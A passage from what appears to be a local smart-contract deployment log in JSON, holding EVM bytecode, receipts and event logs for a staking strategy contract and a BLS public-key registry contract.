0505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a264697066735822122021b62fe5b5bce3c7900ce940fa79726154511331bde65b6124359a94d004524164736f6c634300081c0033","gas_used":1447443,"gas_limit":1931973,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c990911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a264697066735822122021b62fe5b5bce3c7900ce940fa79726154511331bde65b6124359a94d004524164736f6c634300081c0033","nonce":26,"gas_used":1617137},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1ad6e5","logs":[{"address":"0x7a2088a1bfc9d81c55368ae168c2c02570cb814f","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000001000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000200000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x1b66e4daade697ba1e5723ea9c0548ffb1f11de79d6fa07394bf8f4022c3724f","block_number":17},{"info":{"transaction_hash":"0xa456738d8db2009fb3312844666d9d976d87f4508d10a708f88dfbda6670edcd","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x8f86403a4de0bb5791fa46b8e795c547942fe4cf","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x8f86403a4de0bb5791fa46b8e795c547942fe4cf","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60a060405234801561001057600080fd5b5060405161207538038061207583398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b608051611f026101736000396000818161030f01528181610466015281816105bf015281816109c501526110250152611f026000f3fe608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b6001600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a4c565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a65565b6102a261029d366004611a7c565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa6565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000000000000000000000000000000000000000000081565b61034461033f366004611a7c565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611aee565b6109b8565b6103f26103ed366004611b4b565b610e0b565b6040516101529190611bc4565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a4c565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146104ac5760405162461bcd60e51b81526004016104a390611c0d565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146105fc5760405162461bcd60e51b81526004016104a390611c0d565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c81565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a206e6f74206c61746573742061706b2075706460648201526261746560e81b608482015260a4016104a3565b51949350505050565b600460205281600052604060002081815481106108bc57600080fd5b600091825260209091200154604081901b925063ffffffff600160c01b820481169250600160e01b9091041683565b60408051808201909152600080825260208201526001600160a01b0382166000818152600360209081526040808320815180830183528154815260019182015481850152948452909152812054909190806109ae5760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e676574526567697374657265645075626b60448201527f65793a206f70657261746f72206973206e6f742072656769737465726564000060648201526084016104a3565b9094909350915050565b6000336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610a025760405162461bcd60e51b81526004016104a390611c0d565b6000610a30610a1936869003860160408701611cfb565b805160009081526020918201519091526040902090565b90507fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb58103610ab7576040805162461bcd60e51b8152602060048201526024810191909152600080516020611ead83398151915260448201527f4b65793a2063616e6e6f74207265676973746572207a65726f207075626b657960648201526084016104a3565b6001600160a01b03851660009081526001602052604090205415610b415760405162461bcd60e51b81526020600482015260476024820152600080516020611ead83398151915260448201527f4b65793a206f70657261746f7220616c72656164792072656769737465726564606482015266207075626b657960c81b608482015260a4016104a3565b6000818152600260205260409020546001600160a01b031615610bc55760405162461bcd60e51b81526020600482015260426024820152600080516020611ead83398151915260448201527f4b65793a207075626c6963206b657920616c7265616479207265676973746572606482015261195960f21b608482015260a4016104a3565b604080516000917f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000191610c1e918835916020808b0135928b01359160608c01359160808d019160c08e01918d35918e8201359101611d2e565b6040516020818303038152906040528051906020012060001c610c419190611d70565b9050610cdb610c7a610c6583610c5f368a90038a0160408b01611cfb565b90611307565b610c7436899003890189611cfb565b90611398565b610c8261142d565b610cc4610cb585610c5f604080518082018252600080825260209182015281518083019092526001825260029082015290565b610c74368a90038a018a611cfb565b610cd6368a90038a0160808b01611dd7565b6114ed565b610d765760405162461bcd60e51b815260206004820152606c6024820152600080516020611ead83398151915260448201527f4b65793a2065697468657220746865204731207369676e61747572652069732060648201527f77726f6e672c206f7220473120616e642047322070726976617465206b65792060848201526b0c8de40dcdee840dac2e8c6d60a31b60a482015260c4016104a3565b6001600160a01b03861660008181526003602090815260408083208982018035825560608b013560019283015590835281842087905586845260029092529182902080546001600160a01b0319168417905590517fe3fb6613af2e8930cf85d47fcf6db10192224a64c6cbe8023e0eee1ba382804191610dfa9160808a0190611e18565b60405180910390a250949350505050565b606060008367ffffffffffffffff811115610e2857610e28611931565b604051908082528060200260200182016040528015610e51578160200160208202803683370190505b50905060005b84811015611011576000868683818110610e7357610e73611ce5565b919091013560f81c6000818152600460205260409020549092509050801580610ed6575060ff821660009081526004602052604081208054909190610eba57610eba611ce5565b600091825260209091200154600160c01b900463ffffffff1686105b15610f635760405162461bcd60e51b815260206004820152605160248201527f424c5341706b52656769737472792e67657441706b496e64696365734174426c60448201527f6f636b4e756d6265723a20626c6f636b4e756d626572206973206265666f7265606482015270207468652066697273742075706461746560781b608482015260a4016104a3565b805b80156110065760ff831660009081526004602052604090208790610f8a600184611e58565b81548110610f9a57610f9a611ce5565b600091825260209091200154600160c01b900463ffffffff1611610ff457610fc3600182611e58565b858581518110610fd557610fd5611ce5565b602002602001019063ffffffff16908163ffffffff1681525050611006565b80610ffe81611e6b565b915050610f65565b505050600101610e57565b50949350505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146110625760405162461bcd60e51b81526004016104a390611c0d565b600061106d836108eb565b5090506110828261107d83611751565b6110c3565b7ff843ecd53a563675e62107be1494fdde4a3d49aeedaf8d88c616d85346e3500e83610655856001600160a01b031660009081526001602052604090205490565b604080518082019091526000808252602082015260005b83518110156113015760008482815181106110f7576110f7611ce5565b0160209081015160f81c600081815260049092526040822054909250908190036111895760405162461bcd60e51b815260206004820152603d60248201527f424c5341706b52656769737472792e5f70726f6365737351756f72756d41706b60448201527f5570646174653a2071756f72756d20646f6573206e6f7420657869737400000060648201526084016104a3565b60ff821660009081526005602090815260409182902082518084019093528054835260010154908201526111bd9086611398565b60ff831660008181526005602090815260408083208551808255868401805160019384015590855251835281842094845260049092528220939750919290916112069085611e58565b8154811061121657611216611ce5565b6000918252602090912001805490915063ffffffff438116600160c01b90920416036112555780546001600160c01b031916604083901c1781556112f1565b805463ffffffff438116600160e01b8181026001600160e01b0394851617855560f